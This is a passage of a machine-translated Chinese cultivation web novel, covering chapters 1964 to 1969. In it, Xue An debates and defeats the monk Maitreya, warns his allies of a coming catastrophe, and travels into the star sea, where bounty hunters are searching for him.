    At this moment, the earth shook violently, and then I saw the golden light flourishing above the cave entrance in the distance, transforming various mysterious and mysterious scenes.


    The lotus blossoms gradually bloomed, and the sky filled the sky in an instant.


    At the same time, a vast and vast breath began to emerge.


    Everyone was shocked, and Yue Sha stared at the various visions in the sky, then smiled, folded his palms, and exclaimed with joy.


    "Good, good, Xue Shizhu is finally about to leave!"

 Chapter 1964： Let me ask you, what is cause and effect?

    At this moment.


    Under the sky, in the middle of the sky full of flowers, a lotus that was red like blood suddenly grew.


    This lotus flower grows taller and taller, and soon it will dominate the sky full of flowers.


    Then, the lotus bloomed tremblingly.


    Suddenly, a golden light rose into the sky, shaking the world.


    In the golden light, a figure of a young man meditating cross-legged loomed.


    An Yan clasped her hands tightly together, her face was full of tension and expectation.


    At the same time, two golden wheels appeared on the left and right of this golden light.


    Under the golden wheel, Maitreya and the invincible figure from the tantric womb Tibetan realm were all revealed.


    The three brilliances complemented each other, illuminating the entire core pure land.


    All the residents of the core pure land looked at the scene in the sky with feverish faces, then knelt to the ground and worshipped.


    "Fuck, boss, is this a god?" Zhang Xiaoyu whispered with shocked face.


    As soon as the voice fell, Xiao Sha patted her head again, "Stop talking nonsense, the master is much better than God!"


    "Yes, yes! I''m not making an analogy!" Zhang Xiaoyu sneered.


    At this moment, the golden light in the sky gradually began to converge, and eventually belonged to Xue An.


    When all the brilliance dissipated, Xue An moved slightly, and then slowly opened his eyes.


    The moment he opened his eyes completely, the heavens shook, the starry sky trembled, and the most profound aura swept past like a violent wind.


    Everyone was awed by it, all bowed their heads, and even dared not look directly at Xue An''s eyes.


    Because what a pair of eyes are that!


    There is no sorrow or joy, it is as calm as the sea, but it contains the supreme brilliance, which makes people just want to worship.


    At this moment, many people feel as if they have seen an ancient true god.


    But soon, these brilliance will also converge.


    Xue An''s momentum gradually calmed down, and eventually became like a flawless jade, warm and cold.


    "Wow, dad seems to be a little more handsome again!" Nian Nian muttered with a idiot.


    "Nonsense, when is Dad not handsome anymore?" retorted thinking about it.


    At this time, Xue An looked down at the people on the ground, and finally fixed his gaze on An Yan and the two little girls, the corners of his mouth raised, revealing a faint smile.


    An Yan��s tears filled her eyes with excitement. Although Xue An had only been in retreat for more than a month, in her opinion, the month was so long.


    But before An Yan could speak, Xue An shook his head slightly at her, meaning you don''t speak, then Xue An raised his head to look at the opposite side and said lightly.


    "Don''t wake up yet?"


    at this time.


    Under the two golden wheels opposite, the aura in Maitreya and Wu Neng Sheng was also boiling.


    Soon, the two opened their eyes in unison.


    When they saw Xue An in front of him, they were taken aback for a moment, even if they folded their palms together.


    "Good, good, no wonder he can inherit the inheritance of the world-honored one, it turns out to be Lord Guren!"


    Xue An''s expression was indifferent, and he couldn''t see the slightest anger, he just said lightly: "Don''t talk about these scenes, let''s talk, what do you want to ask!"


    The brilliance flashed in Maitreya��s eyes, but he soon recovered his calmness, and then whispered, ��Dare to ask Master Honglian, where is the duty of a person of Buddha cultivation?��


    As soon as this statement was made, there was a commotion among the monks on the ground.


    Yue Ji was stunned, "You actually want to debate the scriptures?"


    The white-browed Luohan looked worried, "Milere is the number one master in the tantric fetal Tibetan world, and the debate is even more unimpeded. The leader has just demonstrated the Dao and I really don''t know whether he can deal with it..."


    Although Yue Sha on the side did not speak, the worry in his eyes still showed what he was thinking.


    And when all the monks lacked confidence, Xue An said lightly: "You have already said the answer to this question. The duty of Buddha cultivation is naturally in the practice place!"


    This response made Maitreya''s eyes flashed with a different color, and he immediately asked: "There are different ways to practice, how should you observe?"


    Xue An stopped talking, but looked at Maitreya quietly.


    The atmosphere immediately became tense.


    Yue Ji asked softly: "Baimei, you have a deeper knowledge of scripture than me, how should I answer this question?"


    The white-browed Arhat frowned for a moment, and finally shook his head helplessly, "This question contains too much scripture, and I don''t know how to answer it."


    "What can I do then? If the leader was asked by Maitreya just after he passed the testimony, how can he still command the Pure Land Buddha Kingdom?" Yue Ji said with a sad face.


    His worry is not unreasonable.


    Because this tradition is inherent in Buddhist cultivation, retreat means that you have some problems that you have not been able to solve, and if you break through it, it proves that you have achieved something.


    If you are asked at this time, it means that your achievements are not as good as the other party. It can be said that you have fallen behind, and it is difficult to stand up.


    When he was full of sorrow, Xue An, who had been silent in the sky, suddenly laughed.


    Amidst the laughter, Xue An said indifferently: "We should hold the view of impermanence!"


    The white-browed Luohan, who was frowning and thinking hard about this question, almost drank a good word after hearing Xue An''s answer.


    Because this answer can be said to be seamless and extremely exciting.


    Maitreya also shook slightly, but he didn''t give up. Instead, he folded his palms together and exclaimed, "Master Gulian is really okay to argue. I have one more question."


    "speak!"


    "The Blessed One has tried his best to promote two things throughout his life, one is cause and effect, and the other is pure land. What is the so-called?"


    Speaking of this, a slight smile appeared on Maitreya''s face, "I would like to ask Master Honglian for advice on this question!"


    A meaningful smile appeared on Xue An''s face, "I know what you want to say, yes, the Blessed One is indeed still in cause and effect, not detached!"


    As soon as this statement came out, all the monks in the core pure land shook together.


    Because the scriptures they have cultivated are all about transcendence, but now Xue An says that the Blessed One is still in the cause and effect and never transcends, which is really unacceptable.


    really.


    The smile on Maitreya��s face was even greater, and the whole body was awe-inspiring, and he suddenly stopped shouting, "Since this is the case, where is this Buddha''s cultivation? Even the cause and effect have not been broken Isn''t it like pulling a mill? Does your donkey keep spinning in place?"


    This sentence can be said to be extremely cruel, ironic that all the monks present are **** of Lamo.


    Many people are angry.


    Xue An was unhappy, did not even lift his eyelids, just said lightly: "Then I ask you, what is cause and effect?"


    "If your heart is moved, it is cause and effect!" Maitreya replied without hesitation.


    This answer is almost perfect, and it makes people unable to find anything to blame.


    But Xue An shook his head, "You are wrong! And it is a big mistake."


    "Where is it wrong?" Maitreya narrowed his eyes and said coldly.


    "The fault is that you don''t understand what cause and effect are!"


    As the number one master in Tantric Buddhism, Maitreya was able to argue without hindrance, and his learning was as deep as the sea.


    But in Xue An''s mouth, he became an ordinary person who didn''t understand cause and effect.

 Chapter 1965： I am a person who knows first and never disputes!

    This sounds unbelievable, so Maitreya couldn''t help but sneered: "Then dare to ask Master Honglian, what is cause and effect?"


    Xue An smiled, "It''s very simple, cause and effect is persistence!"


    Perseverance?


    As soon as these two words came out, the audience shook, and the monks all looked blank.


    Yue Sha suddenly laughed, then folded his palms together, and whispered, "Nan Wuwu Buddha, Xue An is really amazing!"


    Maitreya was also stunned, frowning slightly, obviously thinking about Xue An''s words.


    Xue An did not pause, and then continued: "The Blessed One created the Pure Land Buddha Kingdom and promoted cause and effect to save all living beings. This is his attachment, so he has always been in cause and effect."


    "You came here alone, coveting the Pure Land. This is also attachment. Since you are all in attachment, how can you talk about detachment?"


    Maitreya murmured and repeated Xue An''s words.


    Suddenly, his face turned pale, and his whole body was shaking.


    "This����."


    "Are you surprised?" Xue An said with a smile, and then slightly looked sideways at Maitreya''s incompetent, and said lightly.


    "Since it is one body, why divide into two people?"


    Maitreya looked at Xue An with horror in his eyes.


    To be honest, he looked down on Xue An a bit at the beginning.


    Xue An was indeed once the number one master of the heavens, and was extremely immortal.


    But no matter how great he is, he is only great at his cultivation level, and he is still far from the Buddhist philosophy.


    Therefore, in Maitreya''s view, as long as he said a few words, he would be able to question Xue An.


    But I never expected that it was not Xue An who was asked in the end, but himself.


    Not only that, Xue An also broke his own history.


    That''s right!


    Maitreya and Wu Neng Sheng are brothers in name, but they are actually the same.


    It''s just an expression of one person and two sides.


    When he was in a daze, Xue An stood up slowly and said lightly: "I am a person who always knows first and never disputes. You made three mistakes!"


    "Coveting the Pure Land and trying to seize it is one of them."


    "Suppressing the same door with Fowei is the second."


    "As for the third... the biggest mistake you made was trying to beat my daughter''s idea and let my daughter practice as you please."


    Speaking of this, a sneer appeared on Xue An''s face, "Want to be my daughter''s teacher, do you have this strength?"


    Under Xue An''s repeated interrogations, Maitreya showed a trace of panic.


    At this moment, the octopus on the ground also shouted.


    "My lord, this guy also wants to take down Master Xiaosha and be his guardian Tianlong. This is also a mistake."


    Xue An nodded with a smile, "Yes, I forgot if you don''t tell me, what are you going to do with four mistakes?"


    Maitreya was silent for a long time, and finally folded his palms together, and bowed to Xue Anshen, "The mistake has been made, but it depends on Master Honglian."


    "Very good! In that case, then you can take my punch. If you can take my punch and not die, all the previous mistakes will be wiped out!"


    After all, Xue An took a step forward, clenched his palms into a fist, and blasted out directly.


    This punch didn''t stir up any waves, it was an understatement like a child playing.


    But just such a punch made Maitreya''s complexion extremely solemn, and he let out a deep cry.


    "Hey!"


    boom!


    Incompetence collapsed in an instant, turned into golden light and merged with him, and then his aura more than doubled in an instant, and then both palms were pushed flat to meet Xue An''s punch.


    There is no sound, no air flow.


    The two touched together silently.


    But in the next second, Maitreya was just like a kite with a broken line, and he was blasted out.


    Not only that, Maitreya in the air was vomiting blood, and at the same time the golden light shattered all over his body, and there was a burst of crisp sound like firecrackers.


    Then Xue An put his fist in his hand and watched quietly.


    It wasn''t until a moment later that Maitreya finally stopped the falling trend, barely stopping in the air.


    At this time, he was extremely miserable.


    The golden body had already been blasted into powder by Xue An, and most of the bones of the whole body had been shattered.


    At the same time, his arms twisted at a strange angle, revealing the tragic bones below.


    And in these wounds, there was a faint surging of blood and light.


    This proves that this tantric master is on the verge of collapse, otherwise he won''t even be unable to control his own blood.


    Xue An''s punch is so terrifying.


    Unexpectedly, even though he suffered Xue An''s punch, Maitreya did not see the slightest resentment on his face.


    On the contrary, his eyes were filled with joy that could not be described in words.


    Then he slowly bent his knees, knelt to the ground towards Xue An, struggling to give a five-body salute.


    This is the highest etiquette in Tantra.


    Xue An didn''t dodge either, so he accepted the worship grandiosely.


    Everyone is stupid.


    "What''s the matter with this monk? Why did he kneel after being punched by the boss?" Xiao Sha said with some surprise.


    "It''s not easy, it must have been beaten!" Zhang Xiaoyu said.


    But Yue Jing and the other monks looked at each other, and they all saw the shock in each other''s eyes.


    At this moment, I just listened to Xue An lightly saying: "Do you understand it now?"


    Maitreya raised his head, his face full of relief after being relieved, "If you return to the world, the disciple has realized it!"


    Xue An nodded, "It seems that you have a good foundation, and this punch is not in vain. Get up!"


    "Yes, Lord!"


    Maitreya stood up respectfully, and the hostility in his eyes was gone, although his momentum was very low because of his serious injury, his eyes became extremely pure.


    Although the previous Maitreya smiled forever, but invisibly there was a power that made people dare not look directly at it.


    But now he is like an old farmer who is just like the light and dust.


    The white-browed Arhat looked at it blankly, and finally realized it suddenly, then folded his palms together, exclaiming with joy.


    "Good and good, the leader really has the power of the dragon elephant, and he shattered Maitreya''s obsession with a punch."


    That''s right!


    Although Xue An''s punch just hit Maitreya , it shattered the prejudices and obsessions in his heart with the supreme might, making him suddenly free from the previous frame.


    "I just said that if you can beat me without dying, the matter will be even, now you go!" Xue An said calmly.


    Unexpectedly, Maitreya shook his head, and then said firmly with his eyes: "World Honored One, I know that I have committed a lot of sins before. I am willing to stay with the Lord and do things for you, so that I can atone for my sins!"


    "Do you really want to do something for me?"


    "of course!"


    "Okay, then you go back to reorganize the Tibetan realm now, and be ready to wait for my call at any time, can you do it?"


    With that said, Xue An passed a divine mind casually, which contained all the information about the bronze door in the cave.


    After feeling this information, Maitreya couldn''t help but shook his whole body, and then nodded solemnly, "World Honored One, don''t worry.


    After all, before he could deal with the injuries on his body, he turned around and hurried away.

 Chapter 1966： Living in the world

    When Xue An just fell on the ground, the two little girls rushed up cheering.


    Xue An bent down and embraced the two little girls one by one.


    "Dad, you are just so amazing!" Nian Nian said with an admiration face around Xue An''s neck.


    Xue An laughed, "That''s natural. When have I been good at your father?"


    At this time, An Yan also came forward and said with a smile: "It''s alright, let''s get down quickly, let my father hold him when he is so old."


    "No!" The two little girls put their arms around Xue An''s neck, buried their heads on their shoulders, and refused to let go.


    Xue An smiled more happily, "Okay, since they are willing to let me hold them, then hug them, otherwise they will have no chance when they grow up!"


    "You! I''ll get used to them!" An Yan groaned, but his face was full of smiles.


    At this moment, Yue Jing, Baimei Luohan and others all stepped forward to meet.


    "Master!"


    Xue An nodded, his face recovered a little solemnly, "You did a good job!"


    Then Xue An cast his gaze on Yue Sha, who was standing not far away, and there was that Xiao Yingluo beside Yue Sha.


    After meeting Xue An''s gaze, Yuesha couldn''t help but put her hands together and smiled and nodded.


    Xue An''s gaze shifted around him, and then she took a deep look at Xiao Yingluo, her eyes flashed slightly, and then she smiled.


    "long time no see!"


    Yue Sha smiled and said: "Yes, long time no see!"


    Xue An successfully proved his exit, which is a great event for the entire Pure Land Buddha Kingdom, so it is natural to celebrate it.


    Therefore, before entering the night, the entire core pure land will be lit up with lights, laughter and laughter, turning into a sea of ??joy.


    Xue An directly used the supreme magical powers to immobilize the huge Buddha statue in the sky. In this way, the core pure land will not be divided into night and day.


    At this moment, in the temple in the clouds, the atmosphere is even more enthusiastic.


    All the monks showed long-lost smiles.


    Because for them, Xue An''s exit means that he has completely inherited the mantle of the world-honored man and has become the living-the-world.


    This is equivalent to giving them a reassurance pill, naturally full of joy.


    During the banquet, Xue An was very sober, only drank a few glasses of wine, and then gently put down the wine glass.


    Those who can be at the table with him are naturally the closest people.


    Seeing Xue An put down his glass, everyone was silent, waiting for Xue An to speak.


    I saw Xue An��s gaze swept across everyone��s face, and then whispered: "In these months of retreat, I have absorbed all the divine consciousness passed on to me by the Blessed One, and then I found some unusual things in it. scene."


    As he said, Xue An waved his hand, and a light curtain appeared out of thin air in front of him, and the picture above the light curtain flickered, showing a scene like a movie.


    After reading it, everyone''s complexion became extremely solemn.


    The white-browed Arhat trembled: "Master, this picture...is this picture real?"


    "Naturally it is true, because these pictures are all the future scenes of the Blessed One who used the supreme merit to break the fog and deduced."


    Now, the atmosphere of the audience can''t help but become more solemn.


    Because these scenes are clearly tragic scenes.


    In the picture, the extremely prosperous sea of ??stars has all been extinguished, and the remaining light is also the planet''s final struggle.


    Everything is so empty and deserted, because almost all creatures are dead.


    There are countless corpses floating in the void, and at the same time, there are many strange beasts hiding in the darkness, eating everything they can.


    These pictures make people shudder.


    Even An Yan was shocked by these pictures, his complexion turned pale, and his whole body trembled slightly.


    At this moment, Xue An stretched out his hand and gently patted her palm under the table.


    An Yan turned to look at him.


    Xue An smiled at her, and then said lightly: "Don''t be afraid, don''t worry, as long as I am there, the scenes represented by these pictures will definitely not happen."


    These words are also comforting everyone.


    Hearing this, the extremely depressing atmosphere eased slightly.


    Suddenly, Yue Jing stood up and bowed and said: "Master, what we need to do now, please do not hesitate to give orders. As long as you can prevent the prophecy of the Lord from coming true, it does not matter if you want my life."


    "Yes, there is me!"


    "And I!"


    Suddenly, there was a loud noise in the banquet hall.


    Xue An smiled and waved his hands, "Well, everyone, don''t be so excited, sit down!"


    Everyone was seated again, and then Xue An said lightly.


    "This catastrophe is unprecedented. It is impossible to eliminate it with the strength of Buddha''s cultivation alone. Fortunately, the Blessed One has won us ten years at the cost of life. What we have to do now is to unite all the forces that can be united and recharge. Rui, be fully prepared for this catastrophe!"


    Yue Ji frowned when he heard the words, "The leader meant to say..."


    Xue An smiled faintly, "Yes, it is to unite all the forces in the heavens that can be united. That''s why I asked Maitreya to return to the womb Tibetan realm before, and I want him to unite the womb Tibetan world, so that we can be invisible. It��s an extra strength."


    Yue Ji nodded, "The Tantric Sect is strong. If Na Maitreya can really unite them, he is indeed a great helper."


    Xue An turned his head and looked at Mu Wushuang on the table not far away.


    "Girl without Frost!"


    Mu Wushuang stood up immediately, "Subordinates are here!"


    After experiencing so many things, Mu Wushuang has devoted himself to the five bodies that Xue An worships, and in words he calls himself a subordinate.


    "You said before that you have moved your Slaughter Temple to a safe place in advance?"


    "Yes!"


    "Very well, now I have decided to use the core pure land as our base camp so I hope you can also move your Slaughter Temple, can you?" Xue An smiled.


    Mu Wushuang nodded immediately, "Even if your lord doesn''t tell me, I will do it. After all, this kind of catastrophe concerns everyone in the heavens, and I am even more responsible!"


    "Thank you!" Xue An said sincerely.


    Because Mu Wushuang''s decision was actually equivalent to putting all his wealth and life on Xue An.


    This naturally moved Xue An a bit.


    "My lord is too polite, it is not too late, I will prepare now!"


    With that, Mu Wushuang turned and left.


    "I''ll go too!" Gong Yunjun, who was sitting beside her, suddenly stood up and said.


    "You want to go too?" Mu Wushuang was taken aback.


    "That''s right!" Gong Yunjun nodded heavily, and then gave a salute to Xue Anshen, "My lord, although my cultivation level is not good, but I am willing to do some meager efforts, let me go with the Wushuang girl. It''s good to have a caring on the road."

 Chapter 1967： Set off to the depths of the stars

    Xue looked at her quietly, and finally smiled and nodded, "Well, since you are willing to go, then go together, be careful on the road!"


    "Understand!" Gong Yunjun replied in a deep voice, then turned and left. During the whole process, she tried her best to control herself not to see Xue An.


    After so many things, she now knows a truth very well, that is, the extravagant hope in her heart should be gone.


    But unexpectedly, she didn''t feel so sad, but a sense of relief.


    Especially when she saw Xue An successfully exit the customs and beat the crowd, she felt sincerely happy.


    In fact, her current thinking is very simple, as long as the adults are good, then she will be content.


    If she could do something for Xue An, she would be even happier.


    The second girl didn''t delay, and rose up, turned into two streamers, and disappeared into the sky in the blink of an eye.


    Then Xue An said solemnly: "Now I have one more thing to announce, that is, I will leave the Pure Land Buddha Kingdom for a while."


    As soon as this remark came out, the audience shook.


    "Master, where are you going?"


    "Yes, if you have anything you can order, I will do it for you!"


    The crowd said in unison.


    Xue An smiled, "This matter must be handled by me, none of you can replace me!"


    "Then where are you going?" Yue Jing asked.


    Xue An''s eyes were bright, and he said lightly: "In the depths of the stars!"


    Yue Ji''s pupils shrank instantly, and the sentence in her throat almost blurted out.


    Xue An laughed, "I know what you are thinking, don''t worry, I have my own measures."


    With that said, Xue An stood up and walked to the window. Outside the window was a sea of ??clouds and golden light, and the entire core pure land seemed extremely sacred and solemn.


    "Now our strength is still too weak, even if we unite Tantric Buddhism, it is far from enough, because 80% of the cultivators in the heavens come from the major sects in the depths of the star sea. If we can''t unite them, we must fight against this The catastrophe is destined to be just a delusion."


    "Furthermore, when I was the Immortal Venerable, I also left behind a lot of influence. Now that so long has passed, I should go back and take a look!"


    With that said, Xue An turned around and looked at Yue Jing and others, and said lightly: "So I have to go this time."


    Everyone was silent for a while, but soon Yue Jing took a step forward and bowed and said: "If this is the case, let the poor monk go with the adults!"


    Yue Ji has been in charge of Chu Jialuo''s Dingzen Temple for hundreds of years. The news is very well-informed, and he naturally knows what the outside world is like at this time.


    Almost all the big sects have ordered to kill Xue An.


    It''s just that because Xue An is in the Pure Land Buddha Kingdom, under the barriers, these sects can''t find him for the time being.


    But if Xue An appeared in the depths of the stars like this, the situation would instantly become extremely dangerous.


    To be safe, he planned to follow.


    But Xue An chuckled and shook his head, "No, the Pure Land Buddha Kingdom is so huge, and the affairs are even more complicated. These are inseparable from you. I will go alone!"


    "But..." Yue Ji was still a little anxious.


    Xue An said calmly: "Don''t worry, I have already broken through the realm of the fairy king this time, and I have half a step to prove the fairy emperor.


    As he said, a gleam of light suddenly flashed in Xue An''s jade-like eyes.


    In an instant, an invisible power enveloped the entire banquet hall, causing everyone to become disillusioned.


    Yue Ji retreated again and again, and finally had to bow and bow her head, "Yes!"


    Finally, this banquet ended like this.


    Everyone felt heavy in their hearts, and then they dispersed.


    Even An Yan led the two little girls and the little Yingluo left temporarily.


    Only one person did not leave, and that was this Yuesha.


    When the two of them were left in the huge Buddhist room, Xue An took a deep look at him, and then said in a deep voice, "Does the little girl know about your situation?"


    Yuecha was silent for a moment, and then shook his head, "I don''t know, not only she doesn''t know, but even my brother doesn''t know."


    Xue An couldn''t help sighing, "Sure enough, what do you plan to do next?"


    Yue Sha chuckled, "I was planning to bring Yingluo back to the Pure Land, so I can leave after I have settled down, but now that something like this has happened, I naturally can''t leave it alone. After ten years, I should pay Can survive."


    A look of unbearable color appeared in Xue An''s eyes. After thinking for a moment, he couldn''t help but whisper: "I can try to help you, maybe the result will be different."


    Yue Sha smiled and shook his head, "It''s useless, I used Zen mental powers to guess the past life, and intervened. I have already hurt Tianhe, so now I can''t be saved by anyone!"


    That''s right!


    Today''s Yuesha is actually already dead.


    Only under the dual blessing of his strong aspiration and Zen mind, he has been able to sustain it till now.


    But this situation is destined to be unsustainable. In the end, he will definitely collapse and die. That''s why Xue An said that.


    Xue An looked at this smiling Yue Sha, and finally couldn''t help asking that sentence.


    "Are you really worth it?"


    "Do you know? My senior asked me this once, and I replied that it didn''t matter whether it was worth it or not. Now my answer is still the same. Besides..."


    Yue Sha chuckled lightly, her eyes full of nostalgia, "I am very satisfied with the fact that thousands of rivers and mountains can walk with her."


    "So I hope you don''t tell her these things, let me accompany her well for the next ten years!" Yue Sha said calmly.


    Xue An was silent for a while, and finally nodded heavily, "Okay! I promise you!"


    "Thank you!" Yue Sha said very sincerely.


    When Yuecha left, Xue An turned and returned to the Fubao Xiaolou.


    Unexpectedly quiet in Fu Bao Xiaolou.


    And when he walked into the living room, An Yan was sitting on the sofa quietly waiting for him, and there was a bowl of steaming noodles on the coffee table in front of him.


    Xue An smiled slightly, did not speak, but sat down straight, picked up the bowl, and ate.


    Soon, a bowl of noodles was eaten clean An Yan gently wiped the food residue from the corner of Xue An''s mouth, and then gently leaned in Xue An''s embrace.


    "Husband!"


    "Ok?"


    "Can you take me with you?"


    Xue An smiled, "What do you think?"


    "Oh!" An Yan replied dullly, and then stopped talking.


    Xue An gently squeezed her face, but An Yan did not respond.


    Xue An couldn''t help laughing when he saw it, and then leaned down and whispered in her ear: "Fool, I don''t let you follow it not because this trip is too dangerous, but because you have more important things to do when you stay here. !"


    "What''s the matter?" An Yan was taken aback.


    Xue An smiled slightly, and then said: "I am going here to recall the forces of the past, and this pure land is the base camp. You have to guard it here and operate it well, so that I will not have any worries, understand?"

 Chapter 1968： The heavens

    If you think of the heavens as a plan view, looking down at it, then the entire heavens are like this.


    The earth is on the edge of the heavens, and it is surrounded by barren people and a vacuum zone without the slightest aura. The territory of this vacuum zone is so vast that it even occupies a place on this plane map of the heavens.


    Although the places Xue An once visited, such as the Apocalypse Star Territory and the Hate God Realm, are far away from the earth on the surface, they are the neighbors of the earth on this plan, only a short distance away.


    In addition, Ye Hanshang''s ghost world, Fox Night''s Qingqiu Fox Country, etc. are like bright stars, dotted in every corner of the sky, shining in the dark void.


    The Pure Land Buddha Kingdom is at the other end of the heavens, and what is interesting is that the Pure Land Buddha Kingdom is also surrounded by a large vacuum of spiritual energy, facing the earth far away, forming a perfect symmetry on the plan, which makes people can��t help but imagine. It is as if there is some unknown connection among them.


    But no matter how bright the surroundings are, the real prosperous place among the heavens still belongs to the star sea in the middle.


    If you look down from the floor plan, the star sea in the center is dazzling, and you dare not look directly.


    And these brilliances are actually composed of planets with abundant spiritual energy and stable laws.


    Guanghua is connected to each other, condensed into one, like a golden sun, illuminating the entire void.


    Before Xue An followed Mu Wushuang to participate in the Thousand Sect Profound Society, although Shangqingshan was powerful, it was only on the edge of the Xinghai Sea.


    Although it was only marginal, countless brilliant cultivation civilizations were born, and many sects of the Void Great Sect level were born.


    From this, one can also imagine how terrifying the strength of those sects in the depths of the star sea.


    In fact, in the depths of the star sea, there are many sects that have never been born. They are like the shadows behind the light. They have been hidden in the darkness, silently watching everything that happened in the heavens.


    Only a few times, these sect''s heirs will appear in the world like a glimpse, and then disappear in a hurry, without a trace.


    Moreover, the territory of this sea of ??stars is so vast that even Xue An, who was once the **** of immortality, never traversed the depths of this sea of ??stars.


    It can be said that in the depths of the star sea, there are many hidden corners that many practitioners cannot set foot in their entire lives.


    It is impossible to know how many secrets are buried in it.


    However, Xinghai has become a little different recently.


    Because Xuanmingling People��s Palace and the large sects offer high rewards, there are many bounty hunters in the sea of ??stars. They are sprinting around on various planets like ghosts, just to find out about Xue An. Clues.


    Under this situation, the atmosphere in Xinghai also became a little tense.


    But just when these bounty hunters were trying to find Xue An''s whereabouts, they didn''t know that at the same moment, a very inconspicuous starship suddenly appeared somewhere in the Xinghai.


    This is a lonely void.


    Although the stars in the star sea are densely packed from the plan view, they are almost next to each other.


    In fact, because the territory is too large, in reality, these stars are at least hundreds of millions of miles apart.


    Xue An sat in the star boat, observing the surrounding star maps with a sinking face.


    This is already the tenth day he came out of the Pure Land Buddhist Kingdom.


    Because of the speed limit of this starship, he had just arrived in the star sea.


    At this moment, after checking the star map for a while, he slowly closed his eyes.


    In an instant, divine consciousness spread like a tide, and countless tentacles extended, and began to detect the surrounding starry sky.


    However, after a few breaths, Xue An''s body suddenly shook, and then he raised his eyes thoughtfully and looked towards the void in a certain direction.


    Immediately afterwards, the star boat made a huge roar, accelerated abruptly, and then disappeared in place.


    This is a very ordinary starry sky, so ordinary you can''t even find any place worth remembering.


    In the distance, a pale blue planet was slowly spinning.


    In the depths of the sea of ??stars, there are so many planets like this one, which is not surprising.


    But just in such a plain starry sky, several star boats suddenly appeared.


    These star boats are of different sizes and shapes, and even one of the star boats is painted with a skull logo, which is daunting.


    At this moment, these star boats hovered not far from this pale blue planet, and began to communicate with each other through divine thoughts.


    "Master Yang, is the Haoran Academy you mentioned in front?" A voice full of excitement came from a star boat.


    And in the starship in the middle, a majestic middle-aged man nodded, "Yes, it''s pale green, it''s where the sect of Haoran Academy is located!"


    "Is this Haoran Academy really founded by the Red Lotus Immortal Venerable?" A puzzled voice came from another star boat.


    "I bought this news from a long-lived casual repairman with a lot of money. I can''t go wrong!" Yang Ye said confidently.


    "Hey, now our brothers can be developed. If we can find the exact whereabouts of Xue An through this Haoran Academy, the rewards of the Royal Palace and Xuan Ming Ling alone will be enough for us to enjoy it!" Someone Jie Jie Wei laughed.


    "That''s natural, otherwise, why should I take you across hundreds of millions of miles of void to this place where birds don''t shit!" Yang Ye said triumphantly.


    "Yes, all this is due to Master Yang''s planning!"


    "Boss Yang is mighty."


    Flattering words came from several star boats at the same time.


    Although this Shiyang was proud in his heart, his consciousness of being a top bounty hunter still kept him awake.


    That''s right!


    He and the people on these star boats are all bounty hunters and they are from the same bounty team.


    The so-called bounty team, as the name suggests, is a team of several people to take over more complicated tasks, and then wait for the completion of the bounty to be divided equally.


    And among the bounty of the heavens recently, the most important piece of news is naturally that the big sects are offering a reward for Xue An.


    Especially after this period of fermentation and layers of increasing weight, Xue An''s mission has been pushed to a new height.


    You don''t need to find Xue An, as long as you can provide his exact whereabouts, the reward is unimaginably rich.


    Under this temptation, the eyes of the bounty hunters in the entire heavens were red, almost digging three feet in the ground, looking everywhere for Xue An''s whereabouts.


    Shi Yang and others are naturally no exception, but this Shi Yang is different from ordinary people. His mind is more flexible. After this period of observation, he found that whether it is a bounty hunter or a large sect, even though a large number of people have been dispatched, it is costly. Countless energy, but there is still no whereabouts of Xue An.

 Chapter 1969： What about a bunch of stupid thieves?

    From this he concluded that things were definitely not that simple. Xue An must have hidden somewhere. If he rushed to find it, it would be no different from finding a needle in a haystack.


    Under this situation, he had a brainstorm, and then started looking for people who had crossed with Xue An back then, hoping to get some clues from them.


    Unexpectedly, he did this trick, and he really found a casual repairman. After he paid a lot of money, this casual repairman told Shi Yang an important clue.


    That is, in the corner of Zhutian, there are actually many sects who have a close relationship with Xue An.


    Among them, there are those who have received Xue An''s grace or instructs, and some have helped Xue An, and there are even sects founded by Xue An, such as this Haoran Academy.


    Among these sects, there was probably a clue to Xue An, and then this San Xiu gave Shi Yang the star map of Haoran Academy.


    After learning the news, Shi Yang was ecstatic and immediately led his men to here.


    Now looking at the pale blue planet in the distance, Shi Yang took a deep breath, barely suppressing his inner excitement, and said in a deep voice.


    "It''s not the time to celebrate. It''s the kingly way to find out Xue An''s whereabouts on this planet. Everyone cheer up and follow me!"


    "Yes!"


    These star boats rumblingly urged and sailed to this planet.


    Their speed is not fast, after all, they have already arrived, if they are fully urged, they may have missed it.


    But just as they were about to approach the planet, the void above the planet suddenly rippled, and a starship burst out of it.


    The whole process can be described as extremely fast, and it is even too late to react, and this star boat has already appeared in the void.


    And this sudden scene caught Shi Yang and others by surprise.


    Especially the starship that flew in front, because this scene appeared too suddenly, making it impossible to turn at all, and could only watch as he bumped into it.


    But at this moment, the starship that appeared suddenly seemed to be spiritual, and suddenly moved aside. After Guanghua flashed, it moved out hundreds of meters away, and it was able to avoid the rushing starship. .


    At this time, Shi Yang and others were relieved.


    Then he heard the roar from the starship at the front.


    "Where did the **** dare to block Grandpa''s way, didn''t he have eyes?"


    You should know that although Shiyang and others are bounty hunters, they occasionally appear as interstellar pirates, so these people are actually fierce thugs.


    Especially now that Shiyang has a lot of people, and the other side only has a humble little star boat, this person is naturally even more arrogant.


    But just as his words fell, a cold snort came from the starship that appeared suddenly.


    "Ok?"


    The sound was not loud, but Shi Yang and the others heard it like a heavy hammer, shocking them all over their bodies with blood and horror.


    You must know that their current shouts are actually carried out with divine consciousness, and although the other party only sent one word, they can shake their whole body. This also shows that the other party''s divine consciousness is vast and powerful.


    "What did you just say?" A cold voice came from the star boat.


    At first it sounded like a teenager, but it contained supreme coercion.


    At this time, the person who had just scolded the street was so frightened that he was speechless.


    However, Shi Yang moved in his heart, and then his figure flashed, and he walked out of the star boat, came into the void outside, and bowed his hand to this little star boat.


    "Friend, my little brother is reckless and doesn''t speak very well. Please forgive me!"


    While speaking, Shi Yang had been looking at the star boat.


    This is a starship that looks unremarkable from any angle, but Shiyang noticed that there are many small cracks on the surface of the starship.


    At first glance, these cracks were all injured by the time and space storm that traveled through the void.


    The key is that these cracks are too many, and they are of different depths, obviously not formed in a short time.


    From this it can be seen that the owner of this starship should often travel long distances, and combined with the momentum of just speaking, Shi Yang suddenly had a conclusion in his heart.


    Therefore, although there was no response from this starship, the smile on his face was still very bright.


    "Friends, if you don''t hate it, how about making friends when you play Bounty Hunter Shiyang?"


    "Bounty hunter?" An interesting voice came from the star boat.


    "Yes! And if I guessed right, your Excellency should also be a bounty hunter!" Shi Yang said confidently.


    "So what?"


    "If this is the case, I think we should be able to cooperate with each other, what do you think?"


    [Qingshu Novel Network www.qswx.xyz] "Cooperation? How to cooperate?"


